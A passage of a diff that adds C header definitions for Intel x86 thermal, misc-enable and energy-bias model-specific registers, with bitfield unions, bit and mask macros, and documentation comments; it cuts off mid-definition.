+#define IA32_THERM_STATUS 0x0000019C +typedef union +{ + struct + { + /** + * [Bit 0] Thermal Status + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t thermal_status : 1; +#define IA32_THERM_STATUS_THERMAL_STATUS_BIT 0 +#define IA32_THERM_STATUS_THERMAL_STATUS_FLAG 0x01 +#define IA32_THERM_STATUS_THERMAL_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_STATUS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Thermal Status Log + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t thermal_status_log : 1; +#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_BIT 1 +#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_FLAG 0x02 +#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_STATUS_LOG(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] PROCHOT \# or FORCEPR\# event + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t prochot_forcepr_event : 1; +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_BIT 2 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_FLAG 0x04 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_MASK 0x01 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] PROCHOT \# or FORCEPR\# log + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t prochot_forcepr_log : 1; +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_BIT 3 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_FLAG 0x08 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_MASK 0x01 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Critical Temperature Status + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t critical_temperature_status : 1; +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_BIT 4 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_FLAG 0x10 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Critical Temperature Status log + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t critical_temperature_status_log : 1; +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_BIT 5 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_FLAG 0x20 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_MASK 0x01 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Thermal Threshold \#1 Status + * + * @remarks If CPUID.01H:ECX[8] = 1 + */ + uint64_t thermal_threshold1_status : 1; +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_BIT 6 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_FLAG 0x40 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Thermal Threshold \#1 log + * + * @remarks If CPUID.01H:ECX[8] = 1 + */ + uint64_t thermal_threshold1_log : 1; +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_BIT 7 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_FLAG 0x80 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Thermal Threshold \#2 Status + * + * @remarks If CPUID.01H:ECX[8] = 1 + */ + uint64_t thermal_threshold2_status : 1; +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_BIT 8 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_FLAG 0x100 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Thermal Threshold \#2 log + * + * @remarks If CPUID.01H:ECX[8] = 1 + */ + uint64_t thermal_threshold2_log : 1; +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_BIT 9 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_FLAG 0x200 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Power Limitation Status + * + * @remarks If CPUID.06H:EAX[4] = 1 + */ + uint64_t power_limitation_status : 1; +#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_BIT 10 +#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_FLAG 0x400 +#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] Power Limitation log + * + * @remarks If CPUID.06H:EAX[4] = 1 + */ + uint64_t power_limitation_log : 1; +#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_BIT 11 +#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_FLAG 0x800 +#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_MASK 0x01 +#define IA32_THERM_STATUS_POWER_LIMITATION_LOG(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] Current Limit Status + * + * @remarks If CPUID.06H:EAX[7] = 1 + */ + uint64_t current_limit_status : 1; +#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_BIT 12 +#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_FLAG 0x1000 +#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] Current Limit log + * + * @remarks If CPUID.06H:EAX[7] = 1 + */ + uint64_t current_limit_log : 1; +#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_BIT 13 +#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_FLAG 0x2000 +#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_MASK 0x01 +#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] Cross Domain Limit Status + * + * @remarks If CPUID.06H:EAX[7] = 1 + */ + uint64_t cross_domain_limit_status : 1; +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_BIT 14 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_FLAG 0x4000 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] Cross Domain Limit log + * + * @remarks If CPUID.06H:EAX[7] = 1 + */ + uint64_t cross_domain_limit_log : 1; +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_BIT 15 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_FLAG 0x8000 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_MASK 0x01 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG(_) (((_) >> 15) & 0x01) + + /** + * [Bits 22:16] Digital Readout + * + * @remarks If CPUID.06H:EAX[0] = 1 + */ + uint64_t digital_readout : 7; +#define IA32_THERM_STATUS_DIGITAL_READOUT_BIT 16 +#define IA32_THERM_STATUS_DIGITAL_READOUT_FLAG 0x7F0000 +#define IA32_THERM_STATUS_DIGITAL_READOUT_MASK 0x7F +#define IA32_THERM_STATUS_DIGITAL_READOUT(_) (((_) >> 16) & 0x7F) + uint64_t reserved1 : 4; + + /** + * [Bits 30:27] Resolution in Degrees Celsius + * + * @remarks If CPUID.06H:EAX[0] = 1 + */ + uint64_t resolution_in_degrees_celsius : 4; +#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_BIT 27 +#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_FLAG 0x78000000 +#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_MASK 0x0F +#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS(_) (((_) >> 27) & 0x0F) + + /** + * [Bit 31] Reading Valid + * + * @remarks If CPUID.06H:EAX[0] = 1 + */ + uint64_t reading_valid : 1; +#define IA32_THERM_STATUS_READING_VALID_BIT 31 +#define IA32_THERM_STATUS_READING_VALID_FLAG 0x80000000 +#define IA32_THERM_STATUS_READING_VALID_MASK 0x01 +#define IA32_THERM_STATUS_READING_VALID(_) (((_) >> 31) & 0x01) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} ia32_therm_status_register; + + +/** + * @brief Enable Misc. Processor Features (R/W) + * + * Allows a variety of processor functions to be enabled and disabled. + */ +#define IA32_MISC_ENABLE 0x000001A0 +typedef union +{ + struct + { + /** + * @brief Fast-Strings Enable + * + * [Bit 0] When set, the fast-strings feature (for REP MOVS and REP STORS) is enabled (default). When clear, fast-strings + * are disabled. + * + * @remarks 0F_0H + */ + uint64_t fast_strings_enable : 1; +#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_BIT 0 +#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_FLAG 0x01 +#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_MASK 0x01 +#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 2; + + /** + * @brief Automatic Thermal Control Circuit Enable (R/W) + * + * [Bit 3] - 1 = Setting this bit enables the thermal control circuit (TCC) portion of the Intel Thermal Monitor feature. + * This allows the processor to automatically reduce power consumption in response to TCC activation. + * - 0 = Disabled. + * + * @note In some products clearing this bit might be ignored in critical thermal conditions, and TM1, TM2 and adaptive + * thermal throttling will still be activated. The default value of this field varies with product. + * @remarks 0F_0H + */ + uint64_t automatic_thermal_control_circuit_enable : 1; +#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_BIT 3 +#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_FLAG 0x08 +#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_MASK 0x01 +#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE(_) (((_) >> 3) & 0x01) + uint64_t reserved2 : 3; + + /** + * @brief Performance Monitoring Available (R) + * + * [Bit 7] - 1 = Performance monitoring enabled. + * - 0 = Performance monitoring disabled. + * + * @remarks 0F_0H + */ + uint64_t performance_monitoring_available : 1; +#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_BIT 7 +#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_FLAG 0x80 +#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_MASK 0x01 +#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE(_) (((_) >> 7) & 0x01) + uint64_t reserved3 : 3; + + /** + * @brief Branch Trace Storage Unavailable (RO) + * + * [Bit 11] - 1 = Processor doesn't support branch trace storage (BTS). + * - 0 = BTS is supported. + * + * @remarks 0F_0H + */ + uint64_t branch_trace_storage_unavailable : 1; +#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_BIT 11 +#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_FLAG 0x800 +#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_MASK 0x01 +#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE(_) (((_) >> 11) & 0x01) + + /** + * @brief Processor Event Based Sampling (PEBS) Unavailable (RO) + * + * [Bit 12] - 1 = PEBS is not supported. + * - 0 = PEBS is supported. + * + * @remarks 06_0FH + */ + uint64_t processor_event_based_sampling_unavailable : 1; +#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_BIT 12 +#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_FLAG 0x1000 +#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_MASK 0x01 +#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE(_) (((_) >> 12) & 0x01) + uint64_t reserved4 : 3; + + /** + * @brief Enhanced Intel SpeedStep Technology Enable (R/W) + * + * [Bit 16] - 0 = Enhanced Intel SpeedStep Technology disabled. + * - 1 = Enhanced Intel SpeedStep Technology enabled. + * + * @remarks If CPUID.01H: ECX[7] = 1 + */ + uint64_t enhanced_intel_speedstep_technology_enable : 1; +#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_BIT 16 +#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_FLAG 0x10000 +#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_MASK 0x01 +#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE(_) (((_) >> 16) & 0x01) + uint64_t reserved5 : 1; + + /** + * @brief ENABLE MONITOR FSM (R/W) + * + * [Bit 18] When this bit is set to 0, the MONITOR feature flag is not set (CPUID.01H:ECX[bit3] = 0). This indicates that + * MONITOR/MWAIT are not supported. Software attempts to execute MONITOR/MWAIT will cause \#UD when this bit is 0. + * When this bit is set to 1 (default), MONITOR/MWAIT are supported (CPUID.01H:ECX[bit 3] = 1). If the SSE3 feature flag + * ECX[0] is not set (CPUID.01H:ECX[bit 0] = 0), the OS must not attempt to alter this bit. BIOS must leave it in the + * default state. Writing this bit when the SSE3 feature flag is set to 0 may generate a \#GP exception. + * + * @remarks 0F_03H + */ + uint64_t enable_monitor_fsm : 1; +#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_BIT 18 +#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_FLAG 0x40000 +#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_MASK 0x01 +#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM(_) (((_) >> 18) & 0x01) + uint64_t reserved6 : 3; + + /** + * @brief Limit CPUID Maxval (R/W) + * + * [Bit 22] When this bit is set to 1, CPUID.00H returns a maximum value in EAX[7:0] of 2. BIOS should contain a setup + * question that allows users to specify when the installed OS does not support CPUID functions greater than 2. + * Before setting this bit, BIOS must execute the CPUID.0H and examine the maximum value returned in EAX[7:0]. If the + * maximum value is greater than 2, this bit is supported. + * Otherwise, this bit is not supported. Setting this bit when the maximum value is not greater than 2 may generate a \#GP + * exception. Setting this bit may cause unexpected behavior in software that depends on the availability of CPUID leaves + * greater than 2. + * + * @remarks 0F_03H + */ + uint64_t limit_cpuid_maxval : 1; +#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_BIT 22 +#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_FLAG 0x400000 +#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_MASK 0x01 +#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL(_) (((_) >> 22) & 0x01) + + /** + * @brief xTPR Message Disable (R/W) + * + * [Bit 23] When set to 1, xTPR messages are disabled. xTPR messages are optional messages that allow the processor to + * inform the chipset of its priority. + * + * @remarks If CPUID.01H:ECX[14] = 1 + */ + uint64_t xtpr_message_disable : 1; +#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_BIT 23 +#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_FLAG 0x800000 +#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_MASK 0x01 +#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE(_) (((_) >> 23) & 0x01) + uint64_t reserved7 : 10; + + /** + * @brief XD Bit Disable (R/W) + * + * [Bit 34] When set to 1, the Execute Disable Bit feature (XD Bit) is disabled and the XD Bit extended feature flag will + * be clear (CPUID.80000001H: EDX[20]=0). + * When set to a 0 (default), the Execute Disable Bit feature (if available) allows the OS to enable PAE paging and take + * advantage of data only pages. + * BIOS must not alter the contents of this bit location, if XD bit is not supported. Writing this bit to 1 when the XD Bit + * extended feature flag is set to 0 may generate a \#GP exception. + * + * @remarks If CPUID.80000001H:EDX[20] = 1 + */ + uint64_t xd_bit_disable : 1; +#define IA32_MISC_ENABLE_XD_BIT_DISABLE_BIT 34 +#define IA32_MISC_ENABLE_XD_BIT_DISABLE_FLAG 0x400000000 +#define IA32_MISC_ENABLE_XD_BIT_DISABLE_MASK 0x01 +#define IA32_MISC_ENABLE_XD_BIT_DISABLE(_) (((_) >> 34) & 0x01) + uint64_t reserved8 : 29; + }; + + uint64_t flags; +} ia32_misc_enable_register; + + +/** + * Performance Energy Bias Hint. + * + * @remarks If CPUID.6H:ECX[3] = 1 + */ +#define IA32_ENERGY_PERF_BIAS 0x000001B0 +typedef union +{ + struct + { + /** + * @brief Power Policy Preference + * + * [Bits 3:0] - 0 indicates preference to highest performance. + * - 15 indicates preference to maximize energy saving. + */ + uint64_t power_policy_preference : 4; +#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_BIT 0 +#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_FLAG 0x0F +#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_MASK 0x0F +#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE(_) (((_) >> 0) & 0x0F) + uint64_t reserved1 : 60; + }; + + uint64_t flags; +} ia32_energy_perf_bias_register; + + +/** + * @brief Package Thermal Status Information (RO) + * + * Package Thermal Status Information. Contains status information about the package's thermal sensor. + * + * @remarks If CPUID.06H: EAX[6] = 1 + * @see Vol3B[14.8(PACKAGE LEVEL THERMAL MANAGEMENT)] + */ +#define IA32_PACKAGE_THERM_STATUS 0x000001B1 +typedef union +{ + struct + { + /** + * [Bit 0] Pkg Thermal Status + */ + uint64_t thermal_status : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_BIT 0 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_FLAG 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Pkg Thermal Status Log + */ + uint64_t thermal_status_log : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_BIT 1 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_FLAG 0x02 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Pkg PROCHOT \# event + */ + uint64_t prochot_event : 1; +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_BIT 2 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_FLAG 0x04 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Pkg PROCHOT \# log + */ + uint64_t prochot_log : 1; +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_BIT 3 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_FLAG 0x08 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Pkg Critical Temperature Status + */ + uint64_t critical_temperature_status : 1; +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_BIT 4 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_FLAG 0x10 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Pkg Critical Temperature Status Log + */ + uint64_t critical_temperature_status_log : 1; +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_BIT 5 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_FLAG 0x20 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Pkg Thermal Threshold \#1 Status + */ + uint64_t thermal_threshold1_status : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_BIT 6 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_FLAG 0x40 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Pkg Thermal Threshold \#1 log + */ + uint64_t thermal_threshold1_log : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_BIT 7 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_FLAG 0x80 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Pkg Thermal Threshold \#2 Status + */ + uint64_t thermal_threshold2_status : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_BIT 8 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_FLAG 0x100 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Pkg Thermal Threshold \#2 log + */ + uint64_t thermal_threshold2_log : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_BIT 9 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_FLAG 0x200 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Pkg Power Limitation Status + */ + uint64_t power_limitation_status : 1; +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_BIT 10 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_FLAG 0x400 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] Pkg Power Limitation log + */ + uint64_t power_limitation_log : 1; +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_BIT 11 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_FLAG 0x800 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG(_) (((_) >> 11) & 0x01) + uint64_t reserved1 : 4; + + /** + * [Bits 22:16] Pkg Digital Readout + */ + uint64_t digital_readout : 7; +#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_BIT 16 +#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_FLAG 0x7F0000 +#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_MASK 0x7F +#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT(_) (((_) >> 16) & 0x7F) + uint64_t reserved2 : 41; + }; + + uint64_t flags; +} ia32_package_therm_status_register; + + +/** + * @brief Package Thermal Interrupt Control (RO) + * + * Enables and disables the generation of an interrupt on temperature transitions detected with the package's thermal + * sensor. + * + * @remarks If CPUID.06H: EAX[6] = 1 + * @see Vol3B[14.8(PACKAGE LEVEL THERMAL MANAGEMENT)] + */ +#define IA32_PACKAGE_THERM_INTERRUPT 0x000001B2 +typedef union +{ + struct + { + /** + * [Bit 0] Pkg High-Temperature Interrupt Enable. + */ + uint64_t high_temperature_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_BIT 0 +#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Pkg Low-Temperature Interrupt Enable. + */ + uint64_t low_temperature_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_BIT 1 +#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x02 +#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Pkg PROCHOT\# Interrupt Enable. + */ + uint64_t prochot_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_BIT 2 +#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_FLAG 0x04 +#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 4] Pkg Overheat Interrupt Enable. + */ + uint64_t overheat_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_BIT 4 +#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_FLAG 0x10 +#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE(_) (((_) >> 4) & 0x01) + uint64_t reserved2 : 3; + + /** + * [Bits 14:8] Pkg Threshold \#1 Value + */ + uint64_t threshold1_value : 7; +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_BIT 8 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_FLAG 0x7F00 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_MASK 0x7F +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE(_) (((_) >> 8) & 0x7F) + + /** + * [Bit 15] Pkg Threshold \#1 Interrupt Enable. + */ + uint64_t threshold1_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_BIT 15 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_FLAG 0x8000 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE(_) (((_) >> 15) & 0x01) + + /** + * [Bits 22:16] Pkg Threshold \#2 Value. + */ + uint64_t threshold2_value : 7; +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_BIT 16 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_FLAG 0x7F0000 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_MASK 0x7F +#define 